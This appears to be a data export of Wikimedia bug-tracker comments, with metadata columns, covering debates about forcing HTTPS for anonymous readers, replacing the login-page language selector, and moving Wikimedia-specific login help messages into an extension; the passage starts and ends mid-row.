+In addition to the steps Ryan helpfully lays out in comment 8, I'd add ""assessment of the impact of forced HTTPS for anons"" somewhere in there, as I think we still don't fully know just how many people such an action would affect. Additional information and data points would be helpful.
+
+I'm thinking that an [[mw:RFC]] or page on the Wikitech wiki would make sense here (to be clear: not to assess whether to implement some of these changes or not, simply to assess technical options to move forward [comment 8 in wiki form, basically]).",,,1371354287,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-11,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+212246,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"I'd also like to point out that users can always choose to use HTTPS if they feel they are being eavesdropped on. The only reason we'd force all anon users over HTTPS is if doing so will force governments to allow HTTPS, which is something we cannot guarantee. Maybe instead of allowing HTTPS, the government in question will just decide serving Wikipedia to its people is too much of a bother to deal with.",,,1371350613,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+212240,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Anons are generally readers. Forcing anons to HTTPS would be to try to prevent eavesdropping. People who edit anon are giving up their privacy. If they wish to stay anonymous while editing they should make an account.
+
+Yes, there's still ways to eavesdrop when using HTTPS (like the example you've mentioned, but it's significantly harder and isn't completely accurate.",,,1371349484,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,0,0,1,0,1,1,1,0,0,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+212234,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"I know this is politically charged, but what's the security goal for forcing anons to use SSL. Stop government from eavesdropping on the communication that they could just as easily get from reading Special:Recentchanges?
+
+Stop government from figuring out which articles somebody is reading? Well that's a goal I support, will SSL actually stop that? Assuming government can monitor the encrypted traffic going down the wire, they should be able to see how much traffic has been transferred. I imagine this somewhat uniquely identifies an article, especially when you consider images. OTOH, I suppose it makes figuring out which article they are reading more difficult, and you can't just snoop for keywords.
+
+OTOH SSL everywhere all the time certainly couldn't hurt. But that's a long process. Step 1 sounds like a reasonable starting point.
+
+[Not a security expert. Let me know if I said anything stupid and wrong :)]",,,1371343604,,PHID-USER-dpu5hmqvprhycqlkdzrk,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,1,1,0,1,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,0,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+212229,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Well, this bug seems a little politically charged...
+
+Are we considering the users that will completely lose access when this action occurs? Some countries completely block HTTPS, but allow HTTP. I dislike eavedropping by governments, but I also dislike not providing access to people too.
+
+The rough steps ops was looking at (but hadn't fully decided upon) were:
+
+1. Redirect logged in users to HTTPS. Protecting credentials is important. I think forcing HTTPS here is sane.
+2. Expand the HTTPS infrastructure, moving the terminators directly onto the frontends. Put in engineering effort so that we can distribute the SSL cache and switch to a round robin load balancer rather than the source hash one we're currently using.
+3. Slowly soft-enable HTTPS for anons, by default, for smaller projects moving towards soft-enabling it on the larger projects as well. We can do this by using rel=canonical, with the https link being given.
+4. Consider force enabling HTTPS via redirects. This action is difficult. We'll lock out users with this action. I think this should be a community decision (maybe per-wiki) and isn't up for discussion on bugzilla.
+5. If HTTPS is force enabled, then enable HSTS to protect against downgrade attacks.
+
+Maybe we could offer a warning to folks on HTTP, saying that they should consider using HTTPS and that their communications can be monitored? Of course, we shouldn't do this until we can properly handle all anon traffic on HTTPS.",,,1371341921,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+212220,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Sensible, overdue.
+
+MZM: Where are users saying https doesn't work for them?  I don't see any other unaddressed concerns about implementing this bug or the related bugs.  
+
+Tyler commented in #39380 ""What about the extreme (or maybe not-so-extreme) case of other wikis who don't have the resources to put their users over HTTPS,"" - but that does not seem to apply to Wikimedia wikis.",,,1371340916,,PHID-USER-fgzcdbj3je3ksnhufo47,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,0
+212213,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Note: If https://gerrit.wikimedia.org/r/47089 is merged, then both solutions (i.e., forcing logged in users and forcing logged in and anon users) will be possible by just setting $wgSecureGroups to array( 'user' ) and array( '*' ) respectively.",,,1367290322,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+212206,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #3)
+> Starting with all logged in traffic (perhaps excluding explicit opt-outs) is
+> a natural way to ramp up.
+
+Yes, agreed. I'd call a bug about forcing Wikimedia logged-in users over HTTPS a blocker (or dependency...) of this bug, in fact.
+
+In addition to spare SSL capacity, some users have said that HTTPS does not work for them (for whatever reason). We'll need to take small bites to eat this elephant.
+
+In order to get this bug moving forward, it would be good to have an associated wiki page or list here on Bugzilla of what needs to be done first. This bug's current ""see also""s seem like a good start toward this.",,,1367289304,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+212199,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),I meant 'spare SSL capacity'.,,,1367288439,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0
+212196,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #2)
+> (In reply to comment #1)
+> > Users --> logged-in users? Or all traffic?
+> 
+> All traffic, otherwise I'd have said so. :-)
+
+Oh, I assumed you did mean logged in.  Maybe we should start with that.
+
+My understanding is we have spare capacity now, but are far from provisioned for all anonymous traffic.  Starting with all logged in traffic (perhaps excluding explicit opt-outs) is a natural way to ramp up.",,,1367288407,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,1
+212195,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #1)
+> Users --> logged-in users? Or all traffic?
+
+All traffic, otherwise I'd have said so. :-)",,,1367288187,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1
+212193,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),Users --> logged-in users? Or all traffic?,,,1367287961,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1
+49802,[New UserLogin] Supersede language selection bar with UniversalLanguageSelector,"On the new Special:UserLogin, the custom language selection bar stands out in all its weirdness and ugliness:
+
+Lingua: Deutsch | English | Esperanto | français | español | italiano | Nederlands
+
+UniversalLanguageSelector/ULS will allow us to kill it, in the meanwhile I doubt it's worth improving it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://fr.wikipedia.org/w/index.php?title=Sp%C3%A9cial:Connexion&useNew=1",Medium,50.0,1367176500,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-hs4hyc5kbx5lfhq3oitv,task_description,open,True,c2,1,True,False,,-18,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+210372,[New UserLogin] Supersede language selection bar with UniversalLanguageSelector,"**swalling** wrote:
+
+Yeah, in the short term we did a little bit of restyling of the language selector, but it's still pretty ugly. Chucking it out in favor of ULS would be good for the state of the login page, though I would guess it's going to be a fairly long road still toward that happens everywhere. 
+
+I considered getting rid of altogether on login, since though it serves a clear purpose on account creation (it also sets your preference lang if you choose one) I'm not sure it does on login.",,,1367201547,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hs4hyc5kbx5lfhq3oitv,task_subcomment,,True,c2,1,False,,,-18,True,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+49801,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"The new UserLogin shows red links everywhere. I assume this was done to compensate the removal of the wall of text on en.wiki, but it's not nice: on most wikis those help pages won't exist and are not needed (username policy), or are needed but shouldn't exist locally (logging in; bug 43591), or exist but under another title (every Wikipedia except en.wiki; it.wiki has been fixed, fr.wiki not yet, most Wikipedias will never be fixed).
+
+Simple solution: kill the links (e.g. createacct-helpusername-link) and leave them to customisations of the preceding messages (e.g. userlogin-yourname), which need to parse links and also some HTML if the grey is absolutely needed, and possibly to be copied to a new key if they're recycled from previous interface.
+
+Complex solution: identify if the page exist and don't link it if it doesn't and/or link to MediaWiki.org, e.g. https://www.mediawiki.org/wiki/Help:Logging_in .
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47704",Medium,50.0,1367175660,1369167354.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_description,resolved,True,c2,1,True,False,True,-18,True,1,0,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1
+210334,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #23)
+> Great. So that I need to go and copy/paste the messages on TranslateWiki.net
+> just because they were moved&renamed to be prefixed with “wmf-” (and in case
+> this wouldn’t be enough unnecessary work,
+> http://translatewiki.net/wiki/MediaWiki:Createacct-imgcaptcha-help/cs was
+> deleted, so that I couldn’t even copy&paste (since I cannot view deleted
+> revisions) and had to translate it once more from scratch). Couldn’t the
+> existing translations have been moved as well? Just saying.
+
+First, thanks for translating!  It is gratifying to see translations appear for our work.  The fix for this bug required moving these messages into the special WikimediaMessages extension, and (as I understand it) in order to distinguish the WMF versions of messages on TranslateWiki they get this ""wmf-"" prefix. When moving messages between core and extensions the recommendation for engineers is to only move En and Qqq, but in the case of WikimediaMessages I think I could/should have copied over the other languages.",,,1370675702,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-12,True,0,0,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1
+210330,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #23)
+> Great. So that I need to go and copy/paste the messages on TranslateWiki.net
+> just because they were moved&renamed to be prefixed with “wmf-” (and in case
+> this wouldn’t be enough unnecessary work,
+> http://translatewiki.net/wiki/MediaWiki:Createacct-imgcaptcha-help/cs was
+> deleted, so that I couldn’t even copy&paste (since I cannot view deleted
+> revisions) and had to translate it once more from scratch). Couldn’t the
+> existing translations have been moved as well? Just saying.
+
+Well, in theory a Wikimedia-specific message doesn't have the same meaning and content as a core one, so reusing core translations would defeat the purpose (not polluting core). I don't know what the status here was exactly; cc'ing Raymond who deleted them.",,,1370508641,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-12,True,0,0,0,1,1,1,1,1,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1
+210326,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"Great. So that I need to go and copy/paste the messages on TranslateWiki.net just because they were moved&renamed to be prefixed with “wmf-” (and in case this wouldn’t be enough unnecessary work, http://translatewiki.net/wiki/MediaWiki:Createacct-imgcaptcha-help/cs was deleted, so that I couldn’t even copy&paste (since I cannot view deleted revisions) and had to translate it once more from scratch). Couldn’t the existing translations have been moved as well? Just saying.",,,1370506005,,PHID-USER-7clmfrlb7fwuko4jdjbs,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-12,True,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,0
+210320,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #13)
+> Well, I am lost. I hope that someone will compile a list of the end changes
+
+For WMF wikis, the three links in
+<https://www.mediawiki.org/wiki/Account_creation_user_experience/Testing#Providing_help_links>
+
+For a regular MediaWiki install, the only help link that isn't blank by default is Help:Logging_in , mentioned in https://www.mediawiki.org/wiki/Manual:Page_customizations",,,1369167354,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-15,True,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+210314,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"plus'd it (not in the G kinda way).
+
+CC'ing Reedy so it is on his radar for Monday's deployment.
+
+Setting back to REOPENED until the backport is done (just so we don't lose it between now and then).
+
+Thanks!",,,1368807015,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-15,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+210306,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"E3 requesting backport to wmf4 (only) with Gerrit change #64254 so this change
+to the new Create account form can accompany the wmf4 roll-out. Low-risk since
+the new forms are opt-in.",,,1368758216,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-15,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+210300,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,Related URL: https://gerrit.wikimedia.org/r/64254 (Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df),,,1368758105,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+210296,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"Merged, so I assume this is fixed.",,,1368742151,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+210291,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,Related URL: https://gerrit.wikimedia.org/r/64204 (Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df),,,1368739382,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+210286,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"That would be great. We will need something at meta, whether it be the specific WMF components, or a summary, and a direction to mw.  Well, depending on my (mis)understanding of the above.",,,1368070506,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-16,True,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+210280,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:
+
+(In reply to comment #14)
+> (In reply to comment #13)
+> > Well, I am lost. I hope that someone will compile a list of the end changes,
+> > of
+> > what admins at wikis are going to need to be told (not guess or need to
+> > search), and some graphic examples sound as they would be worthwhile.  Also
+> > something that global sysops and stewards can just read and understand. 
+> > There
+> > are enough changes going on for stewards to comprehend and manage without
+> > extra
+> > difficulty being imposed by convolutions.
+> 
+> I'll post instructions with screenshots that are clearer, before we turn on
+> the
+> new versions as defaults, and circulate them as best I can.
+
+To clarify (S Page asked me) I mean posting on-wiki, probably either Meta or MediaWiki.org.",,,1368063156,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-16,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+210273,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:
+
+(In reply to comment #13)
+> Well, I am lost. I hope that someone will compile a list of the end changes,
+> of
+> what admins at wikis are going to need to be told (not guess or need to
+> search), and some graphic examples sound as they would be worthwhile.  Also
+> something that global sysops and stewards can just read and understand. 
+> There
+> are enough changes going on for stewards to comprehend and manage without
+> extra
+> difficulty being imposed by convolutions.
+
+I'll post instructions with screenshots that are clearer, before we turn on the new versions as defaults, and circulate them as best I can.",,,1368061177,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-16,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1
+210267,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"Well, I am lost. I hope that someone will compile a list of the end changes, of what admins at wikis are going to need to be told (not guess or need to search), and some graphic examples sound as they would be worthwhile.  Also something that global sysops and stewards can just read and understand.  There are enough changes going on for stewards to comprehend and manage without extra difficulty being imposed by convolutions.",,,1368060269,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-16,True,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+210260,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(the Gerrit bot didn't notice https://gerrit.wikimedia.org/r/#/c/61395/ , Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df )
+
+The gist of the Gerrit changes is
+* createacct-helpusername (slight name change) is blank by default
+* createacct-imgcaptcha-help is blank by default
+The messages for these and the URLs they incorporate moved to the WMF-specific extension WikimediaMessages.
+
+userlogin-helplink and the helplogin-url it incorporates remain in core",,,1367988873,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+210252,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,Related URL: https://gerrit.wikimedia.org/r/62570 (Gerrit Change I28b0079b971e5f6cf5196d5581bbfd7a3ac405f9),,,1367908346,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+210244,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:
+
+%%%*** Bug 47705 has been marked as a duplicate of this bug. ***%%%",,,1367388199,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0
+210239,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:
+
